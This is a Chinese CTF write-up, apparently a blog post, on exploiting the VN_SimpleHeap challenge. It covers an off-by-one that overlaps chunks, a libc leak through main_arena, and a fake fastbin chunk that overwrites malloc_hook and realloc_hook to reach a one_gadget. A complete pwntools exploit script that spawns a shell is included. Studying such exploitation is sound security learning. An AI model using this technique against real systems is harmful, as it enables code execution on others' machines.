首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Heap-VN_SimpleHeap分析之realloc_hook劫持

Heap-VN_SimpleHeap分析之realloc_hook劫持

作者头像
偏有宸机
发布2020-11-04 10:56:29
8700
发布2020-11-04 10:56:29
举报
文章被收录于专栏:宸机笔记宸机笔记

程序分析

在edit功能中存在一个sub_c39函数,由于是从0开始,假设a2为10的话,应当在i=a2时便break,所以存在off by one漏洞

之后就是由于程序中malloc能申请的最大空间就是0x6f,而我们如果想通过free超过0x80的chunk来泄露libc的话,就必须要用堆叠chunk的方式来构造超过0x80的chunk进行free

不过需要说明一点的是,由于malloc的机制,当我们申请的堆块未和0x10对齐时,比如0x18,多出来的0x8字节将存放在下一个堆块的prev_size位,之后我们就可以通过offbyone来修改堆块的大小了

详细利用

申请4个堆块

第一个堆块用于offbyone

第二和第三个用于合并成超过0x80大小的chunk

第四个用于在free时防止chunk被合并到top chunk中

利用off by one 修改chunk_1

使chunk_1和chunk_2成为一块0xe0大小的chunk

free堆块 泄露libc

删除chunk_1

可以看到此时chunk_1的fd和bk指针都已经指向了main_arena

之后只需要通过再次的malloc申请一个堆块并填充上0x7大小的数据就可以带出该地址(由于会在末尾加上\x0a所以为0x7)

最后减去距离libc的偏移就可以得到libc地址

修改chunk_2 劫持realloc_hook

这里有两个重点要说明一下

  1. 为什么要用realloc而不是直接用free_hook\malloc_hook

首先是free_hook的问题,由于free_hook的附近的数据全都是0,这对于malloc的检查机制,不好构造chunk结构来绕过 而malloc_hook的话,则由于部分题的环境原因而不能直接使用one_gadget否则将会破坏栈平衡,更不能使用system因为我们无法向其中传入/bin/sh字符串 那么这时我们就可以利用realloc函数的开头部分一堆的push操作让栈保持平衡,进而执行onegadget

  1. fake_chunk的地址为什么要设在main_arena296-296-0x33

首席是可以通过malloc的检查机制,其次由于malloc_hook距离realloc_hook只有0x8的距离,所以我们填充的数据可以同时对这两个地址进行覆盖

建立chunk_4 填充fake_chunk

之后就要在chunk_2上进行操作

首先,由于此时的fd指针指向的位置是chunk_2,所以需要在申请一次在chunk_2上建立chunk_4,然后free掉这个chunk_4。之后我们修改chunk_2将fd区域改为fake_chunk由于chunk_4与chunk_2重叠的原因,所以此时被free掉的chunk_4的fd指针指向的就是fake_chunk的地址

之后虽然在上一步chunk_4的fd位置上填充了fake_chunk的地址,但是此时与chunk_4重叠的chunk_2的fd指针却还是指向chunk_4(2),所以要先malloc一次,在chunk_4(2)上填充数据

在fake_chunk上写

再次malloc申请的地址就是fake_chunk的地址了

然后payload中还有一点需要说明一下

add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))

前面的'c'*(0x13-8)是因为我们是从main_arena-0x33的位置填充的,而这个位置距离realloc_hook的距离就是(0x13-8)

后面的realloc+0xc则是根据realloc在栈中push和pop数量做的一个偏移,由于realloc函数在执行时,会执行多个push寄存器的操作,如果前后的push pop次数不对应的话将影响栈平衡,所以我们直接在malloc_hook中填上realloc_hook+X的方式来执行one_gadget

具体可以看这篇文章:https://bbs.pediy.com/thread-246786.htm

EXP

#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

def ProLoc(elf_addr,libc_addr,pro_libc):
    global sh,elf,libc,one_ggs
    if len(sys.argv) > 1 :
        ip = sys.argv[1]
        prot = sys.argv[2]
        sh = remote(ip,prot)
        libc_addr = pro_libc
    else:
        sh = process(elf_addr) 
    elf = ELF(elf_addr)
    libc = ELF(libc_addr)
    one_ggs = one_gadget(libc_addr)
### 调试用
def debug(cmd=""):
    if len(sys.argv) == 1:
        gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
    if fw == 32:
        return asm(shellcraft.sh())
    elif fw == 64:
        return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
    log.progress("Leak One_Gadgets...")
    path_to_libc=libc_addr
    gadget =[]
    for offset in generate_one_gadget(path_to_libc):
        gadget.append(int(offset))
    return gadget
    #one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
    def add(size,content):
        sh.recvuntil("choice: ")
        sh.sendline("1")
        sh.sendlineafter("size?",str(size))
        sh.sendlineafter("content:",content)
    def edit(idx,content):
        sh.recvuntil("choice: ")
        sh.sendline("2")
        sh.sendlineafter("idx?",str(idx))
        # sh.sendlineafter("size?",str(size))
        sh.sendlineafter("content:",content)
    def show(idx):
        sh.recvuntil("choice: ")
        sh.sendline("3")
        sh.sendlineafter("idx?",str(idx))
    def delete(idx):
        sh.recvuntil("choice: ")
        sh.sendline("4")
        sh.sendlineafter("idx?",str(idx))

    ### Off_By_One
    add(0x18,"a")
    add(0x60,"b")
    add(0x60,"c")
    add(0x10,"d")
    edit(0,"A"*0x18+"\xe1")
    # 0x70+0x70 = 0xe0,最后的1表示当前堆块在使用
    delete(1)
    add(0x60,"B"*7)
    show(1)
    sh.recvuntil("\x0a")
    main_arena296 = u64(sh.recv(6).ljust(8,"\x00"))
    success("main_arena => 0x%x",main_arena296)

    ### Leak addr
    log.progress("loading leak addr...")
    libc_base= main_arena296-0x3c4c48
    malloc_hook = main_arena296-296-0x10
    fake_chunk = main_arena296-296-0x33
    realloc = libc_base+libc.sym["__libc_realloc"]
    one_gg = libc_base+one_ggs[0]
    success("libc_base => 0x%x",libc_base)
    success("realloc => 0x%x",realloc)
    success("malloc_hook => 0x%x",malloc_hook)
    success("fake_chunk => 0x%x",fake_chunk)
    success("one_gadget => 0x%x",one_gg)

    ### 劫持realloc_hook
    add(0x60,"a"*7)
    delete(4)
    edit(2,p64(fake_chunk))
    # debug()
    add(0x60,"b")
    add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))

    sh.recvuntil("choice: ")
    sh.sendline("1")
    sh.sendlineafter("size?","1")
    sh.interactive()

if __name__=="__main__":
    elf_addr = "./vn_pwn_simpleHeap"
    libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" 
    pro_libc = "./libc-2.23.so"   
    # libc_addr = pro_libc
    ProLoc(elf_addr,libc_addr,pro_libc)
    exp()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-10-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 程序分析
  • 详细利用
    • 申请4个堆块
      • 利用off by one 修改chunk_1
        • free堆块 泄露libc
          • 修改chunk_2 劫持realloc_hook
            • 建立chunk_4 填充fake_chunk
            • 在fake_chunk上写
        • EXP
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档